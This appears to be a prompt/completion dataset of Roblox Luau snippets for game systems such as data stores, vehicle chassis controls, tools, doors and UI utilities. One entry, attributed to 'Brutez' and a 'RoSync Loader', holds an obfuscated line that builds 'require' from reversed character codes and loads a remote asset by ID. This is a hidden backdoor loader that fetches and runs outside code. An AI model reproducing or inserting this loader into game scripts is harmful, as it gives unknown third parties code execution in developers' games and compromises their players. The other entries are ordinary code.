prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--Internal functions
|
function DataStore:Debug(...)
if self.debug then
print(...)
end
end
function DataStore:_GetRaw()
if self.getRawPromise then
return self.getRawPromise
end
self.getRawPromise = self.savingMethod:Get():andThen(function(value)
self.value = value
self:Debug("value received")
self.haveValue = true
end):finally(function()
self.getting = false
end)
return self.getRawPromise
end
function DataStore:_Update(dontCallOnUpdate)
if not dontCallOnUpdate then
for _,callback in pairs(self.callbacks) do
callback(self.value, self)
end
end
self.haveValue = true
self.valueUpdated = true
end
|
-- FUNCTIONS --
|
return function(TargetCF)
local spikes = FX.Club.Z:Clone()
spikes.PrimaryPart.CFrame = TargetCF
local originalSizeList = {
spikes.Floor["1"].Size,
spikes.Floor["2"].Size,
spikes.Floor["3"].Size,
spikes.Floor["4"].Size,
spikes.Floor["5"].Size,
spikes.Floor["6"].Size,
spikes.Floor["7"].Size,
spikes.Floor["8"].Size,
spikes.Floor["9"].Size,
spikes.Floor["10"].Size,
spikes.Floor["11"].Size,
}
local floorSize = spikes.Floor.Size
spikes.Floor.Size = Vector3.new()
spikes.Floor.Transparency = 1
coroutine.wrap(function() -- THREAD TO MAKE SPIKES INVISIBLE
for i, v in pairs(spikes.Floor:GetChildren()) do
if v:IsA("MeshPart") then
v.Transparency = 1
v.Size = Vector3.new()
end
end
end)()
spikes.Parent = workspace.Debris
local impactSFX = RS.Sounds.Club.Z.Impact:Clone()
impactSFX.Parent = spikes.Floor
impactSFX:Play()
local expSFX = RS.Sounds.Club.Z.Explosion:Clone()
expSFX.Parent = spikes.Floor
expSFX:Play()
coroutine.wrap(function()
for i, v in pairs(spikes.Floor:GetChildren()) do
if v:IsA("MeshPart") then
local spikeIndex = tonumber(v.Name)
v.Transparency = 0
TS:Create(v, TweenInfo.new(0.18, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Size = originalSizeList[spikeIndex]}):Play()
local dustFX = spikes.Dust:Clone()
dustFX.Parent = v
dustFX:Emit(dustFX:GetAttribute("EmitCount"))
task.wait(0.015)
end
end
end)()
spikes.Floor.Transparency = 0
TS:Create(spikes.Floor, TweenInfo.new(0.25, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Size = floorSize}):Play()
local dustFX = spikes.Dust:Clone()
dustFX.Parent = spikes.Floor
dustFX:Emit(dustFX:GetAttribute("EmitCount"))
debrisModule.Shockwave(TargetCF.Position, 25, 55)
task.delay(4, function()
--coroutine.wrap(function()
for i, v in pairs(spikes.Floor:GetChildren()) do
if v:IsA("MeshPart") then
local spikeIndex = tonumber(v.Name)
TS:Create(v, TweenInfo.new(0.35, Enum.EasingStyle.Back, Enum.EasingDirection.In), {Size = Vector3.new()}):Play()
task.wait(0.025)
end
end
--end)()
task.wait(0.3)
TS:Create(spikes.Floor, TweenInfo.new(0.35, Enum.EasingStyle.Back, Enum.EasingDirection.In), {Size = Vector3.new()}):Play()
game.Debris:AddItem(spikes, 2)
end)
end
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 3 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 3 , -- Controller steering R-deadzone (0 - 100%)
}
Tune.KickdownWindow = .25 --Time (seconds) in which you must double click throttle key
Tune.KickdownRPMCap = 5000 --RPM at which downshifts will no longer occur in the event of a kickdown
Tune.LaunchBuildup = 6000 --RPM in which launch control will build up to
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.ButtonA ,
ContlrToggleABS = Enum.KeyCode.ButtonA ,
}
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 5
local slash_damage = 10
local lunge_damage = 30
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
damage_threads = {}
debounce = false
function blow(hit)
if (hit.Parent == nil) or debounce then return end -- happens when bullet hits sword
debounce = true
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil and hum.Health ~= 1 then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
--[[if damage >= humanoid.Health then
humanoid.Health = 1
if not damage_threads[humanoid] then
damage_threads[humanoid] = true
delay(4,function()
if humanoid ~= nil and humanoid.Health < 100 then
humanoid.Health = 100
end
damage_threads[humanoid] = false
end)
end
else
humanoid:TakeDamage(damage)
end]]
end
end
end
debounce = false
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
force.Parent = Tool.Parent.HumanoidRootPart
wait(.25)
swordOut()
wait(.25)
force.Parent = nil
wait(.5)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
health_checker = nil
function onEquipped()
UnsheathSound:play()
local health = script.Parent.Parent:FindFirstChild("Humanoid")
if health ~= nil then
health_checker = health.HealthChanged:connect(function()
wait()
if health.Health == 1 then
script.Parent.Parent = game.Workspace
end
end)
end
end
function Unequipped()
health_checker:disconnect()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(Unequipped)
connection = sword.Touched:connect(blow)
|
-- An optional function that an Action's onActivated callback can return. This
-- function gets called when the action is being deactivated so it can clean
-- itself up
|
export type ActionTeardown = () -> ()
export type Action = {
-- The name of the action. This is shown first in tooltips
name: string,
-- A description of the action. This is shown after the name in tooltips
description: string?,
-- Icon displayed on the action bar
icon: string,
-- Icon displayed on the action bar when the action is active. This can only
-- be used on parent actions, not sub-actions
activeIcon: string?,
-- Optional list of sub-actions. This allows you to create submenus of
-- various other actions
actions: { Action }?,
-- The parent is only set for sub-actions and points to the action that
-- contains it
parent: Action?,
-- Can be set to `true` for a sub-action that acts as the default option
isDefault: boolean?,
-- Optional callback that gets run when activating an action or sub-action.
-- Typically if an action contains sub-actions, only the sub-actions will
-- have onActivated defined
onActivated: ((self: Action, store: any) -> ActionTeardown?)?,
}
export type State = {
-- The last action that was activated. This can be any of the top-level
-- actions or a sub-action
lastActivatedAction: Action?,
-- The current action that was activated that contains sub-actions
parentAction: Action?,
-- The active actions are stored in the state so that when an action is
-- toggled it triggers a re-render.
activeActions: { Action },
-- Whether or not the submenu is shown. This happens when an action that has
-- sub-actions has been activated
isSubmenuShown: boolean,
}
return {}
|
--[[ By: Brutez. ]]--
--[[ Last synced 11/11/2020 02:25 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--// KEYLESS ENTRY V2
|
script.Parent:WaitForChild("Car")
local car = script.Parent.Car.Value
local plr = game.Players.LocalPlayer
local day = 390
local night = 1050
local input = ""
if car.DriveSeat.Values.Seatlock.Value == false then
car.Filter:FireServer("lock",true)
car.DriveSeat.FE_Lights:FireServer("flash")
else
car.Filter:FireServer("lock",false)
car.DriveSeat.FE_Lights:FireServer("flash")
wait(1/2)
car.DriveSeat.FE_Lights:FireServer('flash')
end
wait(.1)
script.Parent:Destroy()
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:Disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
|
--[[ @brief Finds the object in the heap and reduces its value.
@details Note: this is not an efficient operation. It runs in O(n) time where n is the size of the heap.
--]]
|
function Heap:HeapifyObject(element)
for i = 1, #self do
if self[i] == element then
self:_HeapifyBottomUp(i);
break;
end
end
end
function Heap.new()
return setmetatable({}, Heap.Meta);
end
return Heap;
|
--------LEFT DOOR 6--------
|
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(102)
|
--//
-- Confetti Cannon by Richard, Onogork 2018.
--//
|
local svcRun = game:GetService("RunService");
local ConfettiCannon = require(script.ConfettiParticles);
ConfettiCannon.setGravity(Vector2.new(0,1));
local confetti = {};
|
--[=[
@param signal RBXScriptSignal
@param fn (...: any) -> ()
@return RBXScriptConnection
Connects the function to the signal, adds the connection
to the trove, and then returns the connection.
This is shorthand for `trove:Add(signal:Connect(fn))`.
```lua
trove:Connect(workspace.ChildAdded, function(instance)
print(instance.Name .. " added to workspace")
end)
```
]=]
|
function Trove:Connect(signal, fn)
if self._cleaning then
error("Cannot call trove:Connect() while cleaning", 2)
end
return self:Add(signal:Connect(fn))
end
|
------------------ CONSTANTS --------------------
|
local SELECTED_COLOR = Color3.fromRGB(0,162,255)
local NON_SELECTED_COLOR = Color3.fromRGB(78,84,96)
local ARROW_COLOR = Color3.fromRGB(204, 204, 204)
local ARROW_COLOR_HOVER = Color3.fromRGB(255, 255, 255)
local ARROW_COLOR_TOUCH = ARROW_COLOR_HOVER
local ARROW_COLOR_INACTIVE = Color3.fromRGB(150, 150, 150)
local SELECTED_LEFT_IMAGE = "rbxasset://textures/ui/Settings/Slider/SelectedBarLeft.png"
local NON_SELECTED_LEFT_IMAGE = "rbxasset://textures/ui/Settings/Slider/BarLeft.png"
local SELECTED_RIGHT_IMAGE = "rbxasset://textures/ui/Settings/Slider/SelectedBarRight.png"
local NON_SELECTED_RIGHT_IMAGE= "rbxasset://textures/ui/Settings/Slider/BarRight.png"
local CONTROLLER_SCROLL_DELTA = 0.2
local CONTROLLER_THUMBSTICK_DEADZONE = 0.8
local DROPDOWN_BG_TRANSPARENCY = 0.2
|
-- LocalScript
|
local numValue = Player.Salario.Money -- substitua "NumValue" pelo nome da sua NumberValue
local textLabel = script.Parent -- substitua "TextLabel" pelo nome do seu TextLabel
|
--[[Run]]
|
--Print Version
local ver=require(car["A-Chassis Tune"].README)
print("Novena: AC6T Loaded - Build "..ver)
--Runtime Loops
-- ~60 c/s
game["Run Service"].Stepped:connect(function()
--Steering
Steering()
--Power
Engine()
--Update External Values
_IsOn = car.DriveSeat.IsOn.Value
_InControls = script.Parent.ControlsOpen.Value
script.Parent.Values.Gear.Value = _CGear
script.Parent.Values.RPM.Value = _RPM
script.Parent.Values.Boost.Value = (_Boost/2)*_TPsi
script.Parent.Values.Horsepower.Value = _HP
script.Parent.Values.HpNatural.Value = _NH
script.Parent.Values.HpBoosted.Value = _BH*(_Boost/2)
script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM
script.Parent.Values.TqNatural.Value = _NT
script.Parent.Values.TqBoosted.Value = _BT*(_Boost/2)
script.Parent.Values.Throttle.Value = _GThrot*_GThrotShift
script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
script.Parent.Values.SteerT.Value = _GSteerT
script.Parent.Values.PBrake.Value = _PBrake
script.Parent.Values.TCS.Value = _TCS
script.Parent.Values.TCSActive.Value = _TCSActive
script.Parent.Values.TCSAmt.Value = 1-_TCSAmt
script.Parent.Values.ABS.Value = _ABS
script.Parent.Values.ABSActive.Value = _ABSActive
script.Parent.Values.MouseSteerOn.Value = _MSteer
script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
script.Parent.Values.TransmissionMode.Value = _TMode
if car.DriveSeat.AWD.Value then -- SET AWD
car.DriveSeat:WaitForChild("Rev").Volume = 0.5
car.DriveSeat:WaitForChild("Idle").Volume = 0.5
car.DriveSeat:WaitForChild("Startup").Volume = 0.34
else --make RWD
car.DriveSeat:WaitForChild("Idle").Volume = 1.3
car.DriveSeat:WaitForChild("Rev").Volume = 1.3
car.DriveSeat:WaitForChild("Startup").Volume = 1
end
if car.DriveSeat.CC.Value == true then
if (car.DriveSeat.Velocity.Magnitude*((10/12) * (60/88))) - 2 > car.DriveSeat.CCS.Value then
_CBrake = 0.15
else
_CThrot = 0.9
end
else _CBrake = 0
_CThrot = 0
end
if car.DriveSeat.SST.Value then
if (_RPM - 10) <= _Tune.IdleRPM then
if (_GBrake > 0.05) or (_PBrake == true) then
car.DriveSeat.Tic.Value = true
else car.DriveSeat.Tic.Value = false
end
end
else car.DriveSeat.Tic.Value = false
end
if _GBrake > 0 then
car.DriveSeat.CC.Value = false
end
end)
function AWD()
if car.DriveSeat.AWD.Value then -- SET AWD
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then table.insert(Drive,v) end end end
else --make RWD
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then table.remove(Drive,3) table.remove(Drive,4) end end end
end
end
car.DriveSeat.AWD.Changed:connect(function()
AWD()
end)
AWD()
--15 c/s
while wait(.0667) do
--Automatic Transmission
if _TMode == "Auto" then Auto() end
--Flip
if _Tune.AutoFlip then Flip() end
end
|
--Load Nexus VR Character Model.
|
NexusVRCharacterModelModule:SetConfiguration(Configuration)
NexusVRCharacterModelModule:Load()
|
---------END LEFT DOOR
|
game.Workspace.DoorValues.BackMoving.Value = true
wait(0.1)
until game.Workspace.DoorValues.BackClose.Value=="66" --how much you want to open - the lower the number, the wider the door opens.
end
game.Workspace.DoorValues.Moving.Value = false
end
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{64,66,19,20,58},t},
[49]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{64,66,19},t},
[59]={{64,66,19,20,57,56,30,41,59},t},
[63]={{64,66,63},t},
[34]={{64,66,19,20,57,56,30,41,39,35,34},t},
[21]={{64,66,19,20,21},t},
[48]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{64,66,19,20,57,56,30,41,39,35,34,32,31},t},
[56]={{64,66,19,20,57,56},t},
[29]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45},t},
[57]={{64,66,19,20,57},t},
[36]={{64,66,19,20,57,56,30,41,39,35,37,36},t},
[25]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{64,66,19,20,57,56,30,41,59,61,71},t},
[20]={{64,66,19,20},t},
[60]={{64,66,19,20,57,56,30,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{64,66,19,20,57,56,30,41,59,61,71,72,76,73,75},t},
[22]={{64,66,19,20,21,22},t},
[74]={{64,66,19,20,57,56,30,41,59,61,71,72,76,73,74},t},
[62]={{64,66,63,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{64,66,19,20,57,56,30,41,39,35,37},t},
[2]={n,f},
[35]={{64,66,19,20,57,56,30,41,39,35},t},
[53]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{64,66,19,20,57,56,30,41,59,61,71,72,76,73},t},
[72]={{64,66,19,20,57,56,30,41,59,61,71,72},t},
[33]={{64,66,19,20,57,56,30,41,39,35,37,36,33},t},
[69]={{64,66,19,20,57,56,30,41,60,69},t},
[65]={{64,65},t},
[26]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26},t},
[68]={{64,67,68},t},
[76]={{64,66,19,20,57,56,30,41,59,61,71,72,76},t},
[50]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{64,66},t},
[10]={n,f},
[24]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{64,66,63,62,23},t},
[44]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44},t},
[39]={{64,66,19,20,57,56,30,41,39},t},
[32]={{64,66,19,20,57,56,30,41,39,35,34,32},t},
[3]={n,f},
[30]={{64,66,19,20,57,56,30},t},
[51]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{64,67},t},
[61]={{64,66,19,20,57,56,30,41,59,61},t},
[55]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{64,66,19,20,57,56,30,41,39,40,38,42},t},
[40]={{64,66,19,20,57,56,30,41,39,40},t},
[52]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{64,66,19,20,57,56,30,41},t},
[17]={n,f},
[38]={{64,66,19,20,57,56,30,41,39,40,38},t},
[28]={{64,66,19,20,57,56,30,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{64},t},
}
return r
|
--!nonstrict
|
type TableData = {
Type: string,
Table: {string}|string,
Setting: string?,
Value: any?,
LaxCheck: boolean?,
Action: string?,
Time: number?
}
|
---
|
script.Parent.Values.Gear.Changed:connect(function()
if script.Parent.Values.Gear.Value == -1 then
for index, child in pairs(car.Body.Light.Rev:GetChildren()) do
child.Material = Enum.Material.Neon
car.DriveSeat.Reverse:Play()
end
else
for index, child in pairs(car.Body.Light.Rev:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
car.DriveSeat.Reverse:Stop()
end
end
end)
while wait() do
if (car.DriveSeat.Velocity.magnitude/40)+0.300 < 1.3 then
car.DriveSeat.Reverse.Pitch = (car.DriveSeat.Velocity.magnitude/40)+0.300
car.DriveSeat.Reverse.Volume = (car.DriveSeat.Velocity.magnitude/150)
else
car.DriveSeat.Reverse.Pitch = 1.3
car.DriveSeat.Reverse.Volume = .2
end
end
|
-- INTERFACE
|
export type ContainerUI = Frame & {
}
export type SelectUI = Frame & {
Hover: ImageLabel
}
export type VignetteUI = Frame & {
Black: ImageLabel,
Darkness: ImageLabel,
Hurt: ImageLabel,
Latex: ImageLabel
}
export type InterfaceUI = ScreenGui & {
Container: ContainerUI,
Select: SelectUI,
Vignette: VignetteUI
}
export type InterfaceType = {
UI: InterfaceUI,
Container: ContainerUI
}
|
--[[**
<description>
Saves the data to the data store. Called when a player leaves.
</description>
**--]]
|
function DataStore:Save()
if not self.valueUpdated then
warn(("Data store %s was not saved as it was not updated."):format(self.Name))
return
end
if RunService:IsStudio() and not SaveInStudio then
warn(("Data store %s attempted to save in studio while SaveInStudio is false."):format(self.Name))
if not SaveInStudioObject then
warn("You can set the value of this by creating a BoolValue named SaveInStudio in ServerStorage.")
end
return
end
if self.backup then
warn("This data store is a backup store, and thus will not be saved.")
return
end
if self.value ~= nil then
local save = clone(self.value)
if self.beforeSave then
local success, newSave = pcall(self.beforeSave, save, self)
if success then
save = newSave
else
warn("Error on BeforeSave: "..newSave)
return
end
end
if not Verifier.warnIfInvalid(save) then return warn("Invalid data while saving") end
local success, problem = self.savingMethod:Set(save)
if not success then
-- TODO: Something more robust than this
error("save error! " .. tostring(problem))
end
for _, afterSave in pairs(self.afterSave) do
local success, err = pcall(afterSave, save, self)
if not success then
warn("Error on AfterSave: "..err)
end
end
print("saved "..self.Name)
end
end
|
------------------------------------------------------------------------
-- * mark upvalue flags in function states up to a given level
-- * used only in singlevaraux()
------------------------------------------------------------------------
|
function luaY:markupval(fs, level)
local bl = fs.bl
while bl and bl.nactvar > level do bl = bl.previous end
if bl then bl.upval = true end
end
|
--[[
Stores templates for different kinds of logging messages.
]]
|
return {
cannotAssignProperty = "The class type '%s' has no assignable property '%s'.",
cannotConnectChange = "The %s class doesn't have a property called '%s'.",
cannotConnectEvent = "The %s class doesn't have an event called '%s'.",
cannotCreateClass = "Can't create a new instance of class '%s'.",
computedCallbackError = "Computed callback error: ERROR_MESSAGE",
invalidSpringDamping = "The damping ratio for a spring must be >= 0. (damping was %.2f)",
invalidSpringSpeed = "The speed of a spring must be >= 0. (speed was %.2f)",
pairsDestructorError = "ComputedPairs destructor error: ERROR_MESSAGE",
pairsProcessorError = "ComputedPairs callback error: ERROR_MESSAGE",
springTypeMismatch = "The type '%s' doesn't match the spring's type '%s'.",
strictReadError = "'%s' is not a valid member of '%s'.",
unknownMessage = "Unknown error: ERROR_MESSAGE",
unrecognisedChildType = "'%s' type children aren't accepted as children in `New`.",
unrecognisedPropertyKey = "'%s' keys aren't accepted in the property table of `New`"
}
|
-- Get references to the DockShelf and the AppManager frame
|
local gui = script.Parent.Parent.Parent.AppManager.Settings
local openGui = gui.Main.Settings
local TweenService = game:GetService("TweenService")
|
--!strict
|
local Array = script.Parent
local isArray = require(Array.isArray)
local LuauPolyfill = Array.Parent
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
return function<T>(value: Array<T>): T?
if _G.__DEV__ then
if not isArray(value) then
error(string.format("Array.shift called on non-array %s", typeof(value)))
end
end
if #value > 0 then
return table.remove(value, 1)
else
return nil
end
end
|
--------------------
--| Script Logic |--
--------------------
|
Tool.Equipped:connect(OnEquipped)
Tool.Activated:connect(OnActivated)
Tool.Unequipped:connect(OnUnequipped)
Tool.ChildAdded:connect(OnChildAdded) --NOTE: Added for Action Button
|
--[[
Linearly interpolates the given animatable types by a ratio.
If the types are different or not animatable, then the first value will be
returned for ratios below 0.5, and the second value for 0.5 and above.
]]
|
local Package = script.Parent.Parent
local Types = require(Package.Types)
local Oklab = require(Package.Colour.Oklab)
local function lerpType(from: Types.Animatable | any, to: Types.Animatable | any, ratio: number): Types.Animatable | any
local typeString = typeof(from)
if typeof(to) == typeString then
-- both types must match for interpolation to make sense
if typeString == "number" then
return (to - from) * ratio + from
elseif typeString == "CFrame" then
return from:Lerp(to, ratio)
elseif typeString == "Color3" then
local fromLab = Oklab.to(from)
local toLab = Oklab.to(to)
return Oklab.from(
fromLab:Lerp(toLab, ratio),
false
)
elseif typeString == "ColorSequenceKeypoint" then
local fromLab = Oklab.to(from.Value)
local toLab = Oklab.to(to.Value)
return ColorSequenceKeypoint.new(
(to.Time - from.Time) * ratio + from.Time,
Oklab.from(
fromLab:Lerp(toLab, ratio),
false
)
)
elseif typeString == "DateTime" then
return DateTime.fromUnixTimestampMillis(
(to.UnixTimestampMillis - from.UnixTimestampMillis) * ratio + from.UnixTimestampMillis
)
elseif typeString == "NumberRange" then
return NumberRange.new(
(to.Min - from.Min) * ratio + from.Min,
(to.Max - from.Max) * ratio + from.Max
)
elseif typeString == "NumberSequenceKeypoint" then
return NumberSequenceKeypoint.new(
(to.Time - from.Time) * ratio + from.Time,
(to.Value - from.Value) * ratio + from.Value,
(to.Envelope - from.Envelope) * ratio + from.Envelope
)
elseif typeString == "PhysicalProperties" then
return PhysicalProperties.new(
(to.Density - from.Density) * ratio + from.Density,
(to.Friction - from.Friction) * ratio + from.Friction,
(to.Elasticity - from.Elasticity) * ratio + from.Elasticity,
(to.FrictionWeight - from.FrictionWeight) * ratio + from.FrictionWeight,
(to.ElasticityWeight - from.ElasticityWeight) * ratio + from.ElasticityWeight
)
elseif typeString == "Ray" then
return Ray.new(
from.Origin:Lerp(to.Origin, ratio),
from.Direction:Lerp(to.Direction, ratio).Unit *
(to.Direction.Magnitude - from.Direction.Magnitude) * ratio + from.Direction.Magnitude
)
elseif typeString == "Rect" then
return Rect.new(
from.Min:Lerp(to.Min, ratio),
from.Max:Lerp(to.Max, ratio)
)
elseif typeString == "Region3" then
-- FUTURE: support rotated Region3s if/when they become constructable
local position = from.CFrame.Position:Lerp(to.CFrame.Position, ratio)
local halfSize = from.Size:Lerp(to.Size, ratio) / 2
return Region3.new(position - halfSize, position + halfSize)
elseif typeString == "Region3int16" then
return Region3int16.new(
Vector3int16.new(
(to.Min.X - from.Min.X) * ratio + from.Min.X,
(to.Min.Y - from.Min.Y) * ratio + from.Min.Y,
(to.Min.Z - from.Min.Z) * ratio + from.Min.Z
),
Vector3int16.new(
(to.Max.X - from.Max.X) * ratio + from.Max.X,
(to.Max.Y - from.Max.Y) * ratio + from.Max.Y,
(to.Max.Z - from.Max.Z) * ratio + from.Max.Z
)
)
elseif typeString == "UDim" then
return UDim.new(
(to.Scale - from.Scale) * ratio + from.Scale,
(to.Offset - from.Offset) * ratio + from.Offset
